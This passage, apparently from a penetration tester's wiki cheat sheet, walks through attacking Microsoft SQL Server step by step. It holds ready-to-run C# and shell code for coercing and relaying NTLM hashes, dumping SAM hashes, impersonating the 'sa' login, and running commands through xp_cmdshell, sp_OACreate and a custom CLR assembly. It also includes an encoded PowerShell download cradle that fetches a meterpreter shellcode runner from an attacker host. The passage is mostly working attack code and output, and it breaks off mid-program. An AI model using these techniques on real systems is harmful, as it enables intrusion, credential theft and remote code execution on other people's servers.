&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# xp_dirtree SQL Procedure&lt;br /&gt;
#	• Function: Lists all files in a given folder.&lt;br /&gt;
#	• Special Feature: Can accept an SMB share as a target.&lt;br /&gt;
EXEC master..xp_dirtree &amp;quot;\\192.168.119.120\\test&amp;quot;;&lt;br /&gt;
# Responder Tool&lt;br /&gt;
#	• Function: Sets up an SMB share initiating NTLM authentication.&lt;br /&gt;
sudo responder -I tun0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start &amp;lt;code&amp;gt;responder&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Once the NET-NTLM hash is captured, you can use &amp;lt;code&amp;gt;hashcat&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;hashcat -m 5600 hash.txt dict.txt --force&amp;lt;/code&amp;gt;) or &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; to crack it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC master..xp_dirtree \&amp;quot;\\\\192.168.119.120\\\\test\&amp;quot;;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:8ZPa5+qasCAAAAABJRU5ErkJggg==|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Relay the hash ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Net-NTLM hash&#039;&#039;&#039;: While it can&#039;t be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Microsoft&#039;s Security Measure&#039;&#039;&#039;: Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;SMB Signing&#039;&#039;&#039;: Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it&#039;s enabled only on domain controllers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Procedure&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Enumeration&#039;&#039;&#039;: Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First base64 encode the download cradle. This will download and invoke the run.txt. Run.txt is our shellcode runner. CTRL+F run.txt to find the code.&lt;br /&gt;
kali@kali:~$ sudo apt -y install powershell&lt;br /&gt;
kali@kali:~$ pwsh&lt;br /&gt;
PS /home/kali&amp;gt; $text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Launch ntlmrelayx. this command attempts to relay captured NTLM authentication requests to the machine at 192.168.120.6 over SMB (with SMBv2 support). If the relay is successful and the authentication on the target is accepted, the specified base64-encoded PowerShell command will be executed on the target machine.&lt;br /&gt;
# When the xp_dirtree command is run (see code above), it will authenticate to our ntlmrelayx and we will capture the hash as shown above.&lt;br /&gt;
# The -t option specifies the target to which the relayed authentication will be sent.&lt;br /&gt;
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c &#039;powershell -enc &#039;&lt;br /&gt;
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6&lt;br /&gt;
[*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED&lt;br /&gt;
[*] SMBD-Thread-6 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== Dump hashes using NTLMrelayx.py =====&lt;br /&gt;
&lt;br /&gt;
* You can also get the hashes if the user authenticating have the rights&lt;br /&gt;
&lt;br /&gt;
* Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
proxychains python3 ntlmrelayx.py --no-http-server -smb2support -t 192.168.1.25                                                1 ⚙&lt;br /&gt;
[proxychains] config file found: /etc/proxychains4.conf&lt;br /&gt;
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4&lt;br /&gt;
[proxychains] DLL init: proxychains-ng 4.16&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Protocol Client LDAPS loaded..&lt;br /&gt;
[*] Protocol Client LDAP loaded..&lt;br /&gt;
[*] Protocol Client HTTPS loaded..&lt;br /&gt;
[*] Protocol Client HTTP loaded..&lt;br /&gt;
[*] Protocol Client MSSQL loaded..&lt;br /&gt;
[*] Protocol Client SMTP loaded..&lt;br /&gt;
[*] Protocol Client IMAPS loaded..&lt;br /&gt;
[*] Protocol Client IMAP loaded..&lt;br /&gt;
[*] Protocol Client RPC loaded..&lt;br /&gt;
[*] Protocol Client SMB loaded..&lt;br /&gt;
[*] Protocol Client DCSYNC loaded..&lt;br /&gt;
[*] Running in relay mode to single host&lt;br /&gt;
[*] Setting up SMB Server&lt;br /&gt;
[*] Setting up WCF Server&lt;br /&gt;
[*] Setting up RAW Server on port 6666&lt;br /&gt;
[...]&lt;br /&gt;
controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
[*] Starting service RemoteRegistry&lt;br /&gt;
[*] Target system bootKey: 0xd9996db98e1caaaaabbvvfdfdeeerreew&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3623e909efeda77786a000bc7176aeac:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cf24abb0dd2ff42591001e892d98d690:::&lt;br /&gt;
[*] Done dumping SAM hashes for host: 192.168.1.25&lt;br /&gt;
[*] Stopping service RemoteRegistry&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Escalation ===&lt;br /&gt;
&lt;br /&gt;
==== Escalation ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Achieve higher privileges within the SQL database by leveraging impersonation.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Sysadmin Role&#039;&#039;&#039;: Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn&#039;t always possible.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonation&#039;&#039;&#039;: This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Impersonation at the User Level:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisites:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Our user must have been granted impersonation for another user with additional role memberships.&lt;br /&gt;
&lt;br /&gt;
* The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled.&lt;br /&gt;
The &#039;&#039;database owner &#039;&#039;(dbo) usually have this syadmin role.&lt;br /&gt;
&lt;br /&gt;
The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // This will give us all the logins that allow impersonation.&lt;br /&gt;
                    string query = &amp;quot;SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = &#039;IMPERSONATE&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read() == true)&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Logins that can be impersonated: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Before impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    string executeAs = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;After impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    executeAs = &amp;quot;USE msdb; EXECUTE AS USER = &#039;dbo&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    query = &amp;quot;SELECT USER_NAME();&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Code Execution ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;xp_cmdshel&#039;&#039;&#039;l: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse.&lt;br /&gt;
&#039;&#039;&#039;Activation: &#039;&#039;&#039;Enable xp_cmdshell: [https://book.ghanim.no/?page_id=1809#xp_cmdshell CheatSheet I – Basic – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;sp_OACreate and sp_OAMethod:&#039;&#039;&#039; These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands.&lt;br /&gt;
&#039;&#039;&#039;Activation&#039;&#039;&#039;: Ensure the &amp;quot;OLE Automation Procedures&amp;quot; setting is enabled.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;RECONFIGURE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;xp_cmdshell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Enable and execute xp_cmdshell&lt;br /&gt;
                    String enable_xpcmd = &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE; EXEC sp_configure &#039;xp_cmdshell&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
                    String execCmdShell = &amp;quot;EXEC xp_cmdshell &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(enable_xpcmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    command = new SqlCommand(execCmdShell, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Result of xp_cmdshell: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;sp_OACreate and sp_OAMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
Same as above, just change these lines&lt;br /&gt;
 String enable_ole = &amp;quot;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
 //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
 // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
 //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
 //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
 String execCmdShell = &amp;quot;DECLARE @myshell INT; EXEC sp_oacreate &#039;wscript.shell&#039;, @myshell OUTPUT; EXEC sp_oamethod @myshell, &#039;run&#039;, null, &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
command = new SqlCommand(enable_ole, con);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Assemblies ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* This technique leverages managed code to achieve arbitrary code execution on a SQL server.&lt;br /&gt;
&lt;br /&gt;
* If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods.&lt;br /&gt;
&lt;br /&gt;
* Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with &amp;lt;code&amp;gt;sp_configure&amp;lt;/code&amp;gt; and the &amp;lt;code&amp;gt;clr enabled&amp;lt;/code&amp;gt; option.&lt;br /&gt;
&lt;br /&gt;
Check if TRUTHWORTHY is enabled.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssql-privilege-escalation 1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find trustworthy databases&lt;br /&gt;
SELECT a.name,b.is_trustworthy_on&lt;br /&gt;
FROM master..sysdatabases as a&lt;br /&gt;
INNER JOIN sys.databases as b&lt;br /&gt;
ON a.name=b.name;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start by creating a new &amp;quot;Class Library (.NET Framework)&amp;quot; project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using Microsoft.SqlServer.Server;&lt;br /&gt;
using System.Data.SqlTypes;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
public class StoredProcedures&lt;br /&gt;
{&lt;br /&gt;
    [Microsoft.SqlServer.Server.SqlProcedure]&lt;br /&gt;
    public static void cmdExec (SqlString execCommand)&lt;br /&gt;
    {&lt;br /&gt;
        Process proc = new Process();&lt;br /&gt;
        proc.StartInfo.FileName = @&amp;quot;C:\Windows\System32\cmd.exe&amp;quot;;&lt;br /&gt;
        proc.StartInfo.Arguments = string.Format(@&amp;quot; /C {0}&amp;quot;, execCommand);&lt;br /&gt;
        proc.StartInfo.UseShellExecute = false;&lt;br /&gt;
        proc.StartInfo.RedirectStandardOutput = true;&lt;br /&gt;
        proc.Start();&lt;br /&gt;
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData(&amp;quot;output&amp;quot;, System.Data.SqlDbType.NVarChar, 4000));&lt;br /&gt;
        SqlContext.Pipe.SendResultsStart(record);&lt;br /&gt;
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());&lt;br /&gt;
        SqlContext.Pipe.SendResultsRow(record);&lt;br /&gt;
        SqlContext.Pipe.SendResultsEnd();&lt;br /&gt;
        proc.WaitForExit();&lt;br /&gt;
        proc.Close();&lt;br /&gt;
    }&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* In the &amp;lt;code&amp;gt;CreateAssem&amp;lt;/code&amp;gt; you can either call it from location on target like this&lt;br /&gt;
&amp;lt;code&amp;gt;CREATE ASSEMBLY myAssembly FROM &#039;c:\tools\cmdExec.dll&#039; WITH PERMISSION_SET = UNSAFE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; before the string since this is hex.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$assemblyFile = &amp;quot;C:\users\alaag\documents\cmdExec.dll&amp;quot;&lt;br /&gt;
$stringBuilder = New-Object -Type System.Text.StringBuilder&lt;br /&gt;
$fileStream = [IO.File]::OpenRead($assemblyFile)&lt;br /&gt;
while (($byte = $fileStream.ReadByte()) -gt -1) {&lt;br /&gt;
    $stringBuilder.Append($byte.ToString(&amp;quot;X2&amp;quot;)) | Out-Null&lt;br /&gt;
}&lt;br /&gt;
$stringBuilder.ToString() -join &amp;quot;&amp;quot; | Out-File c:\users\alaa\documents\cmdexec.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Check if the procedure and assembly already exist and drop them if they do&lt;br /&gt;
                    String dropProcedure = &amp;quot;IF OBJECT_ID(&#039;dbo.cmdExec&#039;, &#039;P&#039;) IS NOT NULL DROP PROCEDURE dbo.cmdExec;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropProcedure, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String dropAssembly = &amp;quot;IF EXISTS (SELECT * FROM sys.assemblies WHERE name = &#039;myAssembly&#039;) DROP ASSEMBLY myAssembly;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropAssembly, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Configuration for enabling CLR&lt;br /&gt;
                    String clrConfig = &amp;quot;use msdb; EXEC sp_configure &#039;show advanced options&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr enabled&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr strict security&#039;, 0; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(clrConfig, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Create the assembly and procedure&lt;br /&gt;
                    String CreateAssem = &amp;quot;CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreateAssem, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String CreatePro = &amp;quot;CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreatePro, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Execute the procedure&lt;br /&gt;
